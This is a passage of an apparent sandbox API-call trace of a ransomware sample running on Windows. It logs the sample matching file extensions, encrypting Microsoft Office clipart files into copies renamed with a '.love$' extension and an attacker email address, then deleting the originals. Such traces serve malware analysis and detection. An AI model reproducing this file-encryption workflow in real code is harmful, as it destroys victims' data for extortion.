lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.383] lstrlenW (lpString=".docx") returned 5 [0120.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.383] lstrlenW (lpString=".pdf") returned 4 [0120.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.383] lstrlenW (lpString=".xls") returned 4 [0120.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.383] lstrlenW (lpString=".xlsx") returned 5 [0120.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.383] lstrlenW (lpString=".ppt") returned 4 [0120.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.383] lstrlenW (lpString=".zip") returned 4 [0120.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.384] lstrlenW (lpString=".rar") returned 4 [0120.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.384] lstrlenW (lpString=".bz2") returned 4 [0120.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.384] lstrlenW (lpString=".7z") returned 3 [0120.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.384] lstrlenW (lpString=".dbf") returned 4 [0120.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.384] lstrlenW (lpString=".1cd") returned 4 [0120.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.384] lstrlenW (lpString=".jpg") returned 4 [0120.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.384] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.384] lstrlenW (lpString="AN01218_.WMF") returned 12 [0120.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.385] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3012) returned 1 [0120.385] CloseHandle (hObject=0x380) returned 1 [0120.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0120.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.385] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.385] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0120.386] GetLastError () returned 0x0 [0120.386] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xbc4, lpOverlapped=0x0) returned 1 [0120.388] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0120.389] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.389] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.390] SetEndOfFile (hFile=0x354) returned 1 [0120.390] CloseHandle (hObject=0x354) returned 1 [0120.391] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.391] SetEndOfFile (hFile=0x380) returned 1 [0120.392] CloseHandle (hObject=0x380) returned 1 [0120.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0120.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.393] lstrlenW (lpString=".doc") returned 4 [0120.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.393] lstrlenW (lpString=".docx") returned 5 [0120.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.393] lstrlenW (lpString=".pdf") returned 4 [0120.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.393] lstrlenW (lpString=".xls") returned 4 [0120.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.393] lstrlenW (lpString=".xlsx") returned 5 [0120.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.393] lstrlenW (lpString=".ppt") returned 4 [0120.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.393] lstrlenW (lpString=".zip") returned 4 [0120.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.393] lstrlenW (lpString=".rar") returned 4 [0120.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.393] lstrlenW (lpString=".bz2") returned 4 [0120.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.394] lstrlenW (lpString=".7z") returned 3 [0120.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.394] lstrlenW (lpString=".dbf") returned 4 [0120.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.394] lstrlenW (lpString=".1cd") returned 4 [0120.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.394] lstrlenW (lpString=".jpg") returned 4 [0120.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.394] lstrlenW (lpString=".doc") returned 4 [0120.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.394] lstrlenW (lpString=".docx") returned 5 [0120.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.394] lstrlenW (lpString=".pdf") returned 4 [0120.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.394] lstrlenW (lpString=".xls") returned 4 [0120.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.394] lstrlenW (lpString=".xlsx") returned 5 [0120.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.394] lstrlenW (lpString=".ppt") returned 4 [0120.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.394] lstrlenW (lpString=".zip") returned 4 [0120.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.394] lstrlenW (lpString=".rar") returned 4 [0120.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.394] lstrlenW (lpString=".bz2") returned 4 [0120.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.394] lstrlenW (lpString=".7z") returned 3 [0120.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.395] lstrlenW (lpString=".dbf") returned 4 [0120.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.395] lstrlenW (lpString=".1cd") returned 4 [0120.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0120.395] lstrlenW (lpString=".jpg") returned 4 [0120.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.395] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.395] lstrlenW (lpString="AN01251_.WMF") returned 12 [0120.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.395] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2756) returned 1 [0120.395] CloseHandle (hObject=0x380) returned 1 [0120.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0120.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.396] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.396] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0120.396] GetLastError () returned 0x0 [0120.396] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xac4, lpOverlapped=0x0) returned 1 [0120.399] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xad0, lpOverlapped=0x0) returned 1 [0120.400] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.400] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.400] SetEndOfFile (hFile=0x354) returned 1 [0120.400] CloseHandle (hObject=0x354) returned 1 [0120.401] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.401] SetEndOfFile (hFile=0x380) returned 1 [0120.402] CloseHandle (hObject=0x380) returned 1 [0120.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0120.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.403] lstrlenW (lpString=".doc") returned 4 [0120.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.403] lstrlenW (lpString=".docx") returned 5 [0120.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.403] lstrlenW (lpString=".pdf") returned 4 [0120.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.403] lstrlenW (lpString=".xls") returned 4 [0120.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.403] lstrlenW (lpString=".xlsx") returned 5 [0120.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.403] lstrlenW (lpString=".ppt") returned 4 [0120.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.403] lstrlenW (lpString=".zip") returned 4 [0120.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.403] lstrlenW (lpString=".rar") returned 4 [0120.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.403] lstrlenW (lpString=".bz2") returned 4 [0120.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.403] lstrlenW (lpString=".7z") returned 3 [0120.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.403] lstrlenW (lpString=".dbf") returned 4 [0120.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.404] lstrlenW (lpString=".1cd") returned 4 [0120.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.404] lstrlenW (lpString=".jpg") returned 4 [0120.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.404] lstrlenW (lpString=".doc") returned 4 [0120.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.404] lstrlenW (lpString=".docx") returned 5 [0120.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.404] lstrlenW (lpString=".pdf") returned 4 [0120.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.404] lstrlenW (lpString=".xls") returned 4 [0120.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.404] lstrlenW (lpString=".xlsx") returned 5 [0120.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.404] lstrlenW (lpString=".ppt") returned 4 [0120.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.404] lstrlenW (lpString=".zip") returned 4 [0120.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.404] lstrlenW (lpString=".rar") returned 4 [0120.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.405] lstrlenW (lpString=".bz2") returned 4 [0120.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.405] lstrlenW (lpString=".7z") returned 3 [0120.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.405] lstrlenW (lpString=".dbf") returned 4 [0120.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.405] lstrlenW (lpString=".1cd") returned 4 [0120.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0120.405] lstrlenW (lpString=".jpg") returned 4 [0120.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.405] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.405] lstrlenW (lpString="AN01545_.WMF") returned 12 [0120.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.406] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7372) returned 1 [0120.406] CloseHandle (hObject=0x380) returned 1 [0120.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0120.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.406] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.406] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0120.407] GetLastError () returned 0x0 [0120.407] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0120.940] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0120.954] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.954] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.954] SetEndOfFile (hFile=0x354) returned 1 [0120.954] CloseHandle (hObject=0x354) returned 1 [0120.956] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.956] SetEndOfFile (hFile=0x380) returned 1 [0120.957] CloseHandle (hObject=0x380) returned 1 [0120.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0120.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.958] lstrlenW (lpString=".doc") returned 4 [0120.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.959] lstrlenW (lpString=".docx") returned 5 [0120.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.959] lstrlenW (lpString=".pdf") returned 4 [0120.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.959] lstrlenW (lpString=".xls") returned 4 [0120.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.959] lstrlenW (lpString=".xlsx") returned 5 [0120.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.959] lstrlenW (lpString=".ppt") returned 4 [0120.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.959] lstrlenW (lpString=".zip") returned 4 [0120.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.959] lstrlenW (lpString=".rar") returned 4 [0120.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.959] lstrlenW (lpString=".bz2") returned 4 [0120.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.959] lstrlenW (lpString=".7z") returned 3 [0120.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.959] lstrlenW (lpString=".dbf") returned 4 [0120.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.959] lstrlenW (lpString=".1cd") returned 4 [0120.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.959] lstrlenW (lpString=".jpg") returned 4 [0120.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.960] lstrlenW (lpString=".doc") returned 4 [0120.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.960] lstrlenW (lpString=".docx") returned 5 [0120.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.960] lstrlenW (lpString=".pdf") returned 4 [0120.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.960] lstrlenW (lpString=".xls") returned 4 [0120.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.960] lstrlenW (lpString=".xlsx") returned 5 [0120.960] lstrcmpiW (lpString1=".xlsx", 